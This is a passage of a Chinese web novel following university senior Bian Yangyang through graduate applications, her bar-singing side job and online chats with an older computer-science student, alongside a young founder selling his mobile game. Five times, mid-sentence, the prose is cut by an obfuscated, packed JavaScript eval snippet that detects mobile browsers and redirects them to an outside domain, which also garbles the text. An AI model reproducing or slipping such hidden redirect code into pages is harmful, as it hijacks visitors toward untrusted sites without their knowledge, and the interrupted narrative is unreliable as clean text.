眼看就要毕业了，何不大胆迈出一步？不然以后老了回忆起这段青春岁月，会有遗憾吧。 然而，想归想，付诸行动却很难。 边洋洋长得漂亮，是清秀干净那一款，够得上校花级别，只不过平时穿着随意不爱打扮，只被选上了环境学院的院花。大学这几年，跟她表白的男生很多，吕欢和方心意知道的那些只是一小部分，但她都拒绝了。 拒绝的理由千篇一律：毕业去向不定，没心思谈恋爱。真正的原因只有她自己知道，她没看上跟她表白的那些人，要么长相气质不合眼，要么人品性格有问题，要么不够聪明上进，要么家庭关系复杂…… 宿舍第一次卧谈的时候，方心意问边洋洋喜欢什么样的男生。 边洋洋当时是这么回答她的：“几个硬性条件必须满足。身高不能低于175cm，长相起码中等偏上，年龄比我大，但不能超过五岁，学校不能比A大差，成熟稳重有风度，聪明好学又上进。其他就看眼缘了。” 吕欢觉得她要求太高了，边洋洋可不觉得。找另一半总不能找比自己差的吧，两个人在一起是为了让生活质量更上一层楼，宁可单身绝不将就。她找男朋友是奔着以后结婚去的，可不是为了单纯地体验恋爱的感觉。 转眼到了9月底，边洋洋再没偶遇过那个大帅哥。她忙着申请学校，准备毕设，大帅哥挑起的火在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317132|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙碌中熄得无声无息。 长假前的最后一节设计课结束，边洋洋接到了清吧老板的电话。 “不好意思啊周姐，最近比较忙一直没去你那儿。” 边洋洋翻看了一下日历，“长假有空，可以隔天去一次。” “好的，我一定准时到，周姐再见。” 挂了电话，吕欢问她，“长假有什么安排？出去玩儿吗？” 边洋洋摇了摇头，“要去赚钱。” “哦，又要去唱歌了啊。”吕欢转头问方心意，“你不会又排满课了吧？” 方心意选修了教育专业，大二就开始在一家由A大校友创办的教育培训公司实习。她很有教书育人的天分，长相有亲和力，气质温润柔和，善于跟学生沟通，深受学生喜爱，大三就成了公司最受好评的兼职化学老师。老板承诺只要拿到毕业证就把她转为全职老师，还有公司的股份。 “那可不，老板巴不得我今天就能毕业明天就能转成全职老师。” 吕欢最近投简历投得心灰意冷，投出去的都石沉大海了，越发羡慕已经有着落的方心意。 “你这是痛并快乐着，简历都不用写就有工作了。苍天呐，whereismyoffer?” 边洋洋安慰她，“这才刚开始，好的都在后头呢。” 吕欢：“借你吉言，我决定了，这个长假在宿舍闭关改简历看面经。” 边洋洋兼职驻唱的清吧坐落在闹市区的胡同里，闹中取静，是文艺青年常去的打卡之地。 老板姓周，是个独立音乐人，每年都会受邀参加A大的新生校园歌手大赛，有时是作为评委，有时是特别演出。 边洋洋跟她结识就是在大一的歌手大赛上，她当时以一首吉他弹唱拿了冠军，周老板问她愿不愿意去她的清吧兼职唱歌。 边洋洋家境不错，不缺零花钱。但她喜欢唱歌，想唱的时候在学校里还真不好找地方。若是在宿舍，担心吵到室友，若是在小草坪，会打扰看书的或是谈情说爱的。而且，刚上大学那会儿，周围的同学都跃跃欲试找兼职试图经济独立，她也很想攒个自己的小金库，尽量少花父母的钱。 周老板给她提供了一个唱歌的平台，可以随意演唱，还有听众，还有收入，所以她几乎是立刻就答应了。 这个兼职一不小心就做了三年。 6. 第 6 章 胡同里的银杏树叶黄了，秋风一吹就成片地掉落，夕阳下看着挺美的。边洋洋背着吉他，慢悠悠地骑着单车穿过这条再熟悉不过的胡同。 胡同的尽头就是她兼职驻唱的清吧。清吧的大门正对着一条大街。边洋洋把自行车停在侧门外的路边，习惯性地从侧门进去了。 “小洋洋，好久不见，想死哥哥了。” 刚进去，吧台的调酒师Tony就热情地跟她打招呼。 第一次来的时候，边洋洋对Tony的热情完全招架不住，现在已经习以为常了。她微笑着淡定回话，“Tony哥晚上好，我这不是来了么。” 边洋洋的表演时间是七点到九点，时薪一百五。越晚的场次时薪越高，但他是个爱学习的乖学生，自然要以学习为重，所以她的表演时间一直没变过。 她今天来得早，现在刚好六点，清吧里人还不多，零零散散坐在靠窗的位置。她放下吉他，坐在了吧台角落的位置。 Tony不只会调酒，还会做各种饮品。他递给边洋洋一杯刚做好的卡布奇诺，上面还恶作剧地拉了心形的花。 “喏，这是哥哥的心意。” Tony是个精致小零，还是个颜狗，全清吧的工作人员都知道。边洋洋长得漂亮又好说话，Tony把她当小姐妹。 “谢了。”边洋洋拿起咖啡勺轻轻搅了一圈。 Tony看得痛心疾首，“我的心碎了，呜呜呜～你知道拉这样一颗完美的心背后需要付出多少努力吗？！” 边洋洋轻笑，端起咖啡杯轻啜一口，“我不过是你的小白鼠罢了。看你手艺进步了，是找到目标了？” 清吧的装修主色调是原木色，整体风格偏温馨慵懒，再加上舒缓的轻音乐，坐在这里很放松。放松的时候适合聊八卦。 Tony凑近，左耳上的耳钉亮闪闪，小声道：“你别说，我还真看上了一个，身材和长相都是一流的。” “哦？有照片吗？给你参谋参谋。”能有那个大帅哥帅么？边洋洋心想。 Tony相当不屑，“哎哟乖乖，你一个毫无恋爱经验的单身贵族，能参谋个啥啊，想看帅哥直说呗。” “到底给不给看啊。”边洋洋催促道。 Tony慢条斯理地打开手机相册，“看吧，这几个人里最帅那个就是他。” 照片有点糊，因为坐的位置离吧台比较远，Tony只拍到了模糊的侧脸。但，就算是这样，边洋洋也一眼认出了这人是谁。 这也太巧了点儿，这可不就是开学那晚偶遇的大帅哥吗？！ 边洋洋内心有点小激动，连带着说话语气都变得急切了，“他什么时候来的？” Tony若有所思地瞅了瞅边洋洋，“小洋洋，你这反应不对啊，终于春心萌动了？还是说，你认识这个帅哥？” 边洋洋连忙摆手，“不认识。”她倒是想认识，但没机会啊。 “哦——”Tony不是很信的样子。 边洋洋：“他经常来吗？来这儿干嘛？” Tony：“还说不认识，不认识你问这么多干嘛。” “不说拉倒。”边洋洋把杯子里剩下的咖啡喝光了，“我去准备了，不跟你聊了。” “别藏私啊你——”Tony冲边洋洋的背影喊道。 今晚的表演，照旧是一首中文歌一首英文歌轮着来，中途休息十分钟，每半场的结束曲是吉他弹唱。边洋洋人长得好看歌唱得好听，清吧的常客有不少是她的粉丝。 清吧为了宣传，每次演出都会录一段她表演时的视频，一般是一首歌的时间，录好之后上传到清吧的公众号上。 周老板是个慷慨的人，会根据每季度的业绩情况转一笔宣传费用给边洋洋。 算起来她已经有三个月没来表演了。一出现在舞台，立马引来了不小的骚动。 台下有个女生大喊，“Anna宝贝，我爱你～” 有人开头，其他人也跟着起哄。 Anna是边洋洋在清吧兼职使用的名字。她腼腆地冲着声源方向笑了笑，那一笑引来了更多尖叫。 边洋洋通常不太跟台下的观众互动，唱歌的时候也不怎么看台下的人，整个沉浸在自己的音乐世界里。但今晚，她频频向台下扫视，期望能再次见到那个帅哥。 边洋洋毕竟不是科班出身的专业歌手，唱歌全凭天生的好嗓音和灵气，唱完两小时嗓子会难受。 Tony给她准备了一杯麦冬茶，“润润嗓子，还是哥哥对你好吧。” “谢谢。”边洋洋一边喝一边四处张望。 这会儿客人多了起来，几乎座无虚席，可是没她想见的那个。现在在台上表演的是北城艺术学院学生组成的乐队，风格热烈奔放，整个清吧的气氛都high了起来。 Tony在忙碌的间隙凑到边洋洋身侧，“找谁呢这是？” “没找谁啊。”边洋洋原本打算结束后就回宿舍看文献，可这会儿突然改变了主意，“Tony哥，我来帮你吧。” “这么好？不会是有求于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317133|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吧？”Tony狐疑地问道。 “不需要的话，我可走了啊。” 边洋洋作势要走，Tony一把拉住她，“要要要，忙死我了快，假期生意好，原本老板招的兼职又突然不来了。” 清吧的生意并不是每天都很好，只有周末节假日客流量大，Tony特别忙的时候，边洋洋如果有空都会搭把手帮他，俩人纯洁的友谊就是这么慢慢处出来的。 边洋洋轻车熟路地找到柜子里的围裙系上，看了眼显示屏上的点单信息，“我来准备这几单的果汁和奶茶吧。” Tony手上动作不停，“好，交给你我放心，回头哥哥请你喝酒。” “切，明知道我酒量不行，请我吃火锅吧。” “行吧，看在你长得好看的份儿上。” 一直忙到11点，边洋洋都没看到那个人出现。学校宿舍12点关门熄灯，从清吧骑车回去半小时，她得走了。 没等她开口，Tony看了眼时间先说话了，“我一个人现在能忙得过来了，你先回学校吧，改天休息请你吃火锅。” 边洋洋一边解围裙一边又不死心地扫视全场，大帅哥确实没来。如果他是计算机学院的学生又住学校宿舍的话，今晚就不可能来了，如果不是，她也不可能再为了那点儿渺茫的概率等下去了，那也太傻了。 “好，后天见。” 整个长假，边洋洋都没在清吧见着大帅哥，心里有丢丢失落。她的兼职随着长假结束也暂告一段落，后续只需每周六去一次就好。 长假后的第一个周五，学院的保研名单出炉。边洋洋顺利保研，她的专业成绩排名第一，综合成绩排名第二。 “恭喜学霸，出去搓一顿庆祝一下？”方心意看到院里通知后，很是替边洋洋开心，跟学霸同寝，她与有荣焉。丝毫没有学渣的惭愧，还到处炫耀自己跟学霸是好姐妹，全靠学霸帮助才能门门课程低空飞过。 怎么说能保研也是对大学这几年付出的一个肯定，边洋洋和吕欢举双手赞成。长假期间他们仨各忙各的，都没得空一起聚个餐什么的，正好有这么个借口。 “吃肉吧，贴秋膘。”方心意自作主张把地点给定下来了，其余两人没意见。 吃肉的地方是学校附近商场的自助烤肉。三个女生点了满满一桌子的各式牛肉，兴致勃勃地烤了起来。 肉还没熟透，边洋洋的手机就响起了消息提示音。 是辅导员给他发的短信，提醒她下周一去院里确认保研资格，过期不候。 7. 第 7 章 炭火烧得正旺，肥牛片在铁丝网上滋滋作响，吕欢拿夹子给肉翻面，问边洋洋：“你要接受保研资格吗？” 吕欢之所以这么问，是因为边洋洋至今为止还没收到国外学校的offer。 边洋洋没怎么犹豫，“放弃。” 看多了苦逼学长学姐们的经历，边洋洋不想留在院里读研。出国读研还是读博，得看奖学金情况而定。她并不排斥搞学术，所以除了申请学院老师推荐的硕士研究生项目，还申请了几所国外名校的PhD。 曾经的学霸现在的学渣方心意惊掉了下巴，学霸的世界她不是很懂，扼腕叹息，“你认真的？这可是A大的研究生哎，多少人挤破了脑袋挑灯夜读都考不进，你就这么放弃保研资格了？” 边洋洋瞅准时机夹了一块刚刚烤熟的肉片到自己碗里，慢条斯理地蘸酱裹生菜，“名额给你，你要吗？” 方心意一噎，“算了吧。好不容易要混到毕业了，我要去从事神圣而伟大的教育事业，谁都不许拦我。” 吕欢感慨道：“合适自己的才是好的。如果是我，我也选择放弃，虽然我至今还没收到任何公司的offer。” 所以，别人十分看重的保研名额，在这个宿舍却如鸡肋一般。 边洋洋去签放弃保研资格声明的时候，辅导员吓得不轻。 “你不再考虑考虑？”辅导员按着签名的地方不撒手，这已经是她问的第三遍了。 “A大研究生在你眼里就这么差吗？多少人想考都考不上……” 边洋洋尴尬笑笑，不知道该说啥。 辅导员劝了半天见她不为所动，只好叹气道：“算了，人各有志，祝你早日拿到心仪的offer。” 另一边，北城软件园某知名游戏公司会议室内。 游戏公司负责此次收购的负责人把合同摆在了桌面，“这是最终的收购合同，里面的条件都是我们之前沟通好的，你们再确认一下，确认无误就可以签字了。” 合同内容他们之前跟这家公司商谈过多次，来来回回磨了好几个月才谈妥。好不容易走到这最后一步，绝不能掉以轻心。 从创意到产品，从一个人到一个团队，历经三年，即将卖掉的这款手游就像练天维亲手养大的孩子般。纵然不舍，奈何团队成员面临毕业即将各奔东西，他只能选择卖掉它。 “好。”练天维和陶然拿起合同仔细看了起来，他俩是并列第一大股东，经团队成员投票表决，由他俩全权负责整个交易过程。 负责人坐在他们对面办公，时不时传来键盘敲打的声音。 半小时后。 “我看了没什么问题，”陶然小声对练天维说，“你呢？” 练天维也翻看到了最后一页，“我这边也没问题了。” “那就签了？” “签吧。” 握笔签字的瞬间，练天维心情复杂，除了不舍，也有一种卸下担子完成使命的轻松感。签完字，不只是卖了他们的产品，也意味着给自己的这段创业生涯画上了句号。带团队创业很累很有成就感，人生有这一次经历就够了，往后的人生，他会走一条不一样的道路。 负责人收起合同，跟他们友好地握了手，“合作愉快，资金一周内会打到你们的账户上。交接有问题随时可以给我打电话。我一会儿要出差，就不留你们吃饭了。” 练天维：“您忙您的，我们也有事要赶回学校，再见。” 互相道别后，负责人拿着合同抱着笔电离开了会议室，练天维和陶然紧随其后离开，坐电梯直达大楼的地面层。 两人走出大楼，才发现不知什么时候天下起了雨，说大不大说小不小。都说一层秋雨一层凉，走出去淋湿了肯定怪冷的。 陶然捞起卫衣帽子戴上，对穿着休闲西服的练天维说：“幸好今天自己开车了，你在这儿等着，我把车开过来。” 车子就停在不远处，陶然一路飞奔，很快就开过来了。 练天维拉开副驾驶的车门上了车，在他系安全带的时候，陶然打开了车载广播，问他：“咱们接下来去哪儿？手游卖了，咱俩赚了第一桶金，要不出去浪一浪？” “啪嗒”一声，安全带扣好了。练天维嫌弃地说道：“浪你个头，你的毕设再不做就要毕不了业了，心里没点AC数吗。” 陶然一脚油门，撇撇嘴道：“你这人真是无趣，做毕设也不差这半天吧。把他们都叫出来，至少大家一起去喝个酒唱个歌啥的啊，我请客。说真的，这些年你们挺累的。” “是挺累的。要请也是我来请。” “嘿，咱俩股份一样多，我跟你说，别瞧不起我这个非技术人员啊。咱俩都请不就得了，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317134|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么好争的。” 此时早已过了早高峰，或许是因为天气原因，路上仍旧拥堵，车子在车流中慢慢行进。 速度慢下来了，心里轻松了，练天维欣赏起了街景。道路两旁的行道树早已不复绿意，入秋后叶子眼看着快掉光了，而雨中的钢筋水泥毫无诗意可言。 “那几栋楼，我们刚来北城上学的时候还在打地基。” 陶然顺着练天维手指的方向看去，“是啊，转眼我们在这座城市都快生活7年了，说它是第二故乡都不为过。你真的决定回阳城了？” 练天维：“嗯，下午我有个面试。等分完钱，再把大伙儿叫出来吃顿散伙饭吧。” 陶然瞪大双眼，惊讶道：“不是，你这么快就要去面试了！？” 练天维：“不然呢，你以为人人都跟你一样回去有家业继承啊。” 陶然：“要是还能继续跟着你创业，我才不稀罕那点儿家业呢。就我们家那超市，净利润率逐年下降，现在各种电商平台对传统零售业冲击那么大，早晚得变负数，投资回报率比我投资的差远了。” 他们的手游卖了个不错的价钱，税后净得五百万。陶然当年是资金入股，投入50万，获得百分之三十的股份，现在可以分到150万，三年时间翻了几倍了。 练天维认真地给他出主意，“其实你可以考虑在你家公司成立一个新的部门，开发线上交易平台，APP或是小程序什么的，再搞个直播带货什么的，四舍五入相当于你自己在创业了。” 陶然趴在方向盘上对着前方龟速前进的车流叹气，“我之前跟我家老爷子提过，他太保守了，不愿意花这个钱，还说什么我们是老品牌了，一直都是这么做的，不需要跟风搞那些花里胡哨的。” 不知道什么时候能回到学校，练天维干脆把座椅放平，斜躺在上面，“看来你回去继承家业也不能随心所欲啊。” “谁说不是呢，股东里一群老古董，哪像我们这四人小团队好沟通。一想到这个就不想毕业，想在学校多待几年。” 昨晚练天维被导师抓去实验室紧急修复一个bug，搞到凌晨两点多才回去睡觉，今天为了签合同又一大早起床，这会儿有点犯困。 他闭上双眼，懒洋洋道：“到了叫我，我睡会儿。” 陶然默默地关掉了车载广播，“好。” 8. 第 8 章 吕欢的找工作之路比想象中的还要不顺。 本专业相关的招聘少得可怜，工资也低得令人发指，发简历还被回复overqualify。不限专业的职位竞争惨烈，A大这块招牌和她的辅修专业只能帮她获得笔试机会。好不容易凭实力过了笔试，面试环节被刷了。 眼看就到10月底了，月初长假闭关做的功课似乎没起到太大作用，一个offer都没拿到。吕欢的自信心严重受挫，丧得不行。毕竟从小到大都是同龄人中的佼佼者，前二十年加起来的挫折都没找工作这俩月多，还没离开象牙塔就开始遭受社会毒打了。 见形势不乐观，边洋洋提议，“要不你申请我那个研究生项目吧？两年就能毕业，顶着海归硕士的名号应该能好点儿。” 大学这些年，吕欢的精力主要放在辅修专业和社会活动上，没有考托福GRE，也没提前找教授课题组做实验发论文。 她摇了摇头，“我这条件，申请了也不会录取我吧。” 边洋洋显然做足了功课，比起读PhD，她其实更中意这个研究生项目。两年研究生可以给她一个过渡期，这段时间她可以体验独立做课题，从而会更加明确自己到底是否适合做学术。若不适合，可以及时止损找工作，若合适，可以申请PhD，有研究生经历是个优势。 “我研究了前几届的录取情况，好几个学长学姐的绩点还不如你，一样没论文。英语成绩可以跟项目负责人商量，补考成绩应该也作数的。明天就是申请截止时间了，现在申请还来得及。” 边洋洋这么说，吕欢沉吟半晌还是没动心，“还是算了，想想那个英语授课环境就头大，我还是死磕工作吧，老娘就不信了。” “行吧，现在离毕业还早，还有很多机会的。”边洋洋安慰她。 “我真有那么差吗？”吕欢很是费解，倚着单人床梯子百无聊赖地捏一个参加招聘会时某企业送的解压球。 边洋洋偶尔会陪着吕欢一起参加知名大企业的招聘会，算是提前为以后找工作做准备。 “那不至于，虽说最近不太顺，但你可千万别妄自菲薄。我跟课题组的学长学姐们聊过，我们学院本科找到好工作的几乎没有，找到的都是靠家里关系找的。像你这样能拿到面试机会已经很不错了。再说了，要是真给你offer了，你也不一定会去。找工作就跟找对象似的，不是各方面条件优秀就是良配，合适的才是。” 边洋洋端坐在自己的椅子上，边聊天边逛学校论坛的求职版，“跟你一起面试的大部分都是名校硕士博士，只能说太卷了。” 吕欢并没觉得有被安慰到，“那你说，我面试怎么回事儿啊，回回被刷。” 边洋洋最近逛求职板块学了不少东西，一副很懂的样子，“你看啊，你申请的那些大公司，虽然写着不限专业，但你看职位描述，明显是有专业倾向的。同等优秀的情况下，HR肯定选专业更对口的或者有相关实习经验的，容易上手嘛。” 环境学院的暑期实习跟吕欢现在投简历的这些公司完全不搭嘎。大二暑假，全院去了隔壁市海拔最高的山上做野外调查。大三暑假，他们去了污水厂和垃圾处理厂，实习结束的时候差点失去嗅觉。 “照你这么说，我岂不是注定没offer了？” “也不能这么说，”边洋洋滑动鼠标的手停了下来，“你来看看，这个研究生学长写的求职经验分享，我觉得写得挺实在的，你瞅瞅。” 吕欢凑过去看边洋洋的电脑屏幕，帖子被管理员加精置顶了，发帖的是研三计算机系的学长。 她撇撇嘴，“我要是学计算机，也能拿到大厂offer好吧，他的经验不可取。” “你都没看就妄下结论，接着往下看。” 边洋洋已经看完了，她觉得这个学长很厉害，就算不是计算机专业，也可以拿到offer。 “专业对口的那么多，也不是每个人都能拿到这样的offer的。 “这可是国内最大的通信巨头哎，全国校招只要了十个应届毕业生，这是什么概念，比高考考A大难多了好吗。” 听边洋洋这么说，吕欢也有些好奇了，认真拜读了起来。 “别说，还真挺厉害的。” 人都有慕强心理，吕欢佩服比自己厉害的人，写这篇帖子的学长现在算一个。 边洋洋撕开一包辣条，盘腿坐直了身子，取出一条递给吕欢，“吃吗？” 吕欢接过辣条，“就感觉这学长对自己的职业很有规划，所走的每一步都在朝着最终的方向。再看看我自己，就是东一榔头西一棒，好像准备了很多东西，其实很盲目，针对性也不强。” 她感慨完嚼了一口辣条，辛辣在口腔弥漫，刺激着味蕾，爽！ 边洋洋连连点头，“我也这么觉得。从这个帖子可以看出他是个情商很高的工科生，这点也挺难得的。” 俩人讨论来讨论去，越发觉得前路渺茫，北城高校圈当真是藏龙卧虎。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317135|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不聊了，好冷啊，咱吃饭去吧。”吕欢伸了个懒腰，扯了张纸巾擦干净拿过辣条的手指，拍拍屁股就要走人。 “吃什么？” 今天是周六，方心意在上班，宿舍就剩她俩。 边洋洋趴在电脑前继续看那篇帖子。发帖人在帖子末尾留了扣扣号，说欢迎学弟学妹咨询就业有关的问题。 帖子下面留言很多，有羡慕的，有无脑吹的，也有嚷着让学长通过好友申请的。 边洋洋有种很奇怪的感觉，她觉得网线另一端的人跟她很投缘，某些方面满足了她对另一半的幻想：成熟厉害的理工科男、年龄比她大。就是不知道长得怎么样，声音好不好听…… 被这种感觉驱使着，她鬼使神差地加了发帖人的扣扣号。她发誓，那时的她绝对没有跟人发展恋情的想法，就是很单纯地想结识一下。 许是对方刚好在线，好友申请刚发出去就通过了。 看到好友通过的提示，边洋洋莫名其妙地紧张了一下。奇了怪了，有什么好紧张的呢？ 今天降温了，屋外风很大，宿舍前面那排树的树叶都被吹没了，稀稀拉拉的几只乌鸦还留在树梢上。 暖气还有半个月才开，边洋洋一点儿不想出门觅食，刚站起身，方心意就给她打电话了。 边洋洋开了外放，方心意的声音传来，“我在五食堂，要给你们打包吗？” “心意你真是小天使，我要大份的麻辣烫，中辣。谢啦。”边洋洋喜笑颜开，问一旁的吕欢，“你要什么？” 吕欢：“跟你一样吧。” 天冷就想吃辣的，五食堂的麻辣烫是601的最爱之一，每周至少吃一次。 晚饭搞定，边洋洋重新坐到椅子上，盯着发帖学长的扣扣聊天框发呆，顺手拿了根辣条慢悠悠地嚼着，待一根辣条嚼完，终是下定了决心。 她擦干净手，然后开始在键盘敲打。 洋洋得意：学长你好！我是环境学院大四的，在论坛看到你发的帖子，有些求职方面的问题想跟你请教一下，你现在方便吗？不方便的话，我们可以约别的时间。非常感谢【抱拳】【抱拳】 小时候，每当有人问边洋洋，“你的性格是外向还是内向？” 边洋洋总是不知道怎么回答，她觉得她是介于外向和内向之间，所以没法回答这种非此即彼的问题。 这样性格的她平时很少会主动去撩陌生人。很久之后每每回忆起这一晚，她都觉得不可思议，就像被蛊惑了一样。 9. 第 9 章 消息一发出去，扣扣昵称为Steve的发帖学长的状态就变成了忙碌。 “……” 边洋洋心说，这是故意的吧。就说嘛，怎么会有人无私地奉献自己的时间和经验呢。勾搭（划掉）请教人的热情瞬间熄灭。 她关掉聊天界面，打开邮箱查邮件，只有几封广告邮件，申请的学校依旧没有消息。 方心意很快就提着三大盒麻辣烫气喘吁吁地回来了。 “好香啊。”边洋洋吸吸鼻子闻着味儿转动椅子，嗖一下滑到了公用桌子旁，抬手就去抓了属于她的那份。 “今天怎么这么早回来？”吕欢也飞快地拿了一份，边撕一次性筷子边问。 方心意放下书包，边解围巾边说：“今天领导家里临时有事，就没开会了。” 边洋洋把已经掰开的筷子搁在麻辣烫碗里，起身从自己柜子里拿出三盒纯牛奶，分别插上吸管，一盒自己喝，另外两盒分别递给了吕欢和方心意。 刚吃完，边洋洋就听到自己的扣扣提示音连着响了几下。 “谁找我呢？”她打开一看，发消息的正是那个贴吧学长。 Steve：不好意思，刚才在忙。 Steve：现在有空了，你有什么想问的随便问，我尽量回答。 Steve：我比较了解计算机专业，你的专业我不太熟悉，不一定能帮到你。 吃了热乎乎香喷喷的麻辣烫，身子暖和了许多，心情甚好的边洋洋看到学长的消息更开心了。 原来不是故意的。果真是个无私的学长呢，真是个好人。这是边洋洋对Steve的第一印象。 她赶紧坐下，把吕欢目前遇到的困境发给了Steve。 Steve跟她讲了很多面试的注意事项。不知不觉两人就聊了很久，一直聊到了宿舍熄灯。边洋洋不好意思耽误人睡觉，依依不舍地跟人道谢下了线。下线前把部分聊天记录发给了吕欢。 “这谁啊？”吕欢躺在床上看完了聊天记录，“醍醐灌顶啊。” 她翻了个身，借着手机的光看向边洋洋的床，“洋洋你竟然认识这么厉害的人，要是一开始我就受高人指点，说不定早就拿到offer了。” 边洋洋：“就是发帖的那个学长啊，人不是留了联系方式吗，看我对你的事儿多上心啊。” 吕欢嘿嘿笑，“是是是，你对我最好了。等我拿到offer，请你俩去我家玩儿去。” “好啊。”方心意和边洋洋异口同声。 吕欢家就在北城的郊区，家里经营着一家占地面积很大的农家乐，还有天然温泉可以泡。大二暑假他们去玩儿过一次，特别开心。 自那晚之后，吕欢每一次面试完都会跟边洋洋汇报，然后撺掇她问学长的建议。 “你自己怎么不加他好友亲自问呢？”边洋洋口是心非道。 几次聊下来，她觉得Steve既是一个很好的倾听者，又是一个能给出中肯实用建议的优秀学长，总之，跟他聊天很舒服，而且能学到东西。 “害，我这不是不好意思嘛，反正你都跟他聊熟了。” “你会不好意思？”边洋洋才不信，八成是因为这个学长未来工作的地点跟北城相距甚远，吕欢懒得去social。 “嘿嘿，我这不是给你制造机会么，我觉得你对这学长很有好感，以前可没听你夸过哪个男生。”吕欢说。 边洋洋佯装生气地瞪了她一眼，“再说这些有的没的我就不给你当传话筒了啊。” 吕欢举手投降，“我错了错了，你赶紧帮我问吧。” 有高人指点确实不一样。以前吕欢在面试第一轮就被刷，现在他能进入终面了，离成功就一步之遥。 吕欢：“我在想，等我拿到offer，也请学长去我们家玩儿。” 边洋洋：“人家不会去的吧。” 吕欢：“那可说不好，你跟他多聊聊，熟悉了自然就会去了。” 也不知道是因为吕欢这句无心之言还是怎么的，边洋洋跟Steve的聊天内容渐渐地不再局限于求职相关了。 11月下旬，宿舍开始供暖了。 边洋洋在暖气开通的第一天收到了两封英文邮件。一封是研究生项目的面试通知，而另一封， “啊啊啊～我好像被录取了！！！” 方心意去教育学院见导师了，宿舍就吕欢和边洋洋两人。 吕欢真心为边洋洋高兴，两人抬手击了个掌，“恭喜洋洋，请客请客～” 边洋洋收回手，脸上激动之情还在，拼命点头，“没问题！啊，我还没看具体内容。” 吕欢跟着她一起看了起来，边洋洋脸上的笑容渐渐凝固，看完以后，她失望地叹了口气，“高兴早了，是半奖offer，等我拿到全奖offer再请客吧。” “这所学校可是世界级的顶尖名校，能拿到半奖也很厉害啦。”吕欢说，“走走走，姐请你吃麻辣烫去，等你拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317136|183060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到全奖了再请我们吃火锅。” “好吧。” 边洋洋只是有些失望，倒并不难过，因为她最看重的还是研究生项目。邮件里说面试时间是下周六，地点就在北城的一家五星级酒店。 这个面试对她来说太重要了，所以她跟清吧的周老板请假，推掉了本周六晚上的兼职。 可谁知天意弄人，就在她请假的这周六晚上，练天维带着他的团队去了清吧。 陶然翻看酒水单，“这家的酒还不错，驻唱歌手水平也还行。不过，你们真不想去k歌啥的吗？就在这儿吃饭喝酒侃大山？” 周晗得意道：“那是，我姐的眼光很高的。肥水不流外人田嘛，照顾一下我姐的生意，她说了，给我们亲情价，打88折。” 周晗是练天维团队的技术人员，是他的本科兼研究生同学，这家清吧的老板是他同父异母的姐姐，姐弟俩感情还不错。 分给各人的钱款都到账了，产品也交接完毕了，大伙儿心情都还不错，几年的辛苦总算没有白费。 点好了菜和酒水饮料，周晗起身去了吧台，他问Tony，“洋洋今晚怎么没来啊？本来还想点首歌来着。” Tony见到他两眼放光，“她今晚有事请假了。二老板，你那个同学的联系方式给我一个呗。” 周晗一脸嫌弃，“你们gay都这么花心的吗，你可别打我哥们儿的主意，他是直男，直男懂吗。” Tony也回他一个嫌弃脸，“嗨呀，我再花心也不会让对方吃亏呀，不像你们直男，一个不小心就把人姑娘肚子搞大了。” 这话可是戳到了周晗的痛处。他本来都打算跟他的异地恋女友分手了，结果人女孩子主动来北城找他，一时大意，现在女友怀孕了。 Tony之所以知道这事儿，是因为他女友不同意打掉孩子，跑到清吧来找周老板说理。这么一闹，整个清吧的员工基本都知道了。 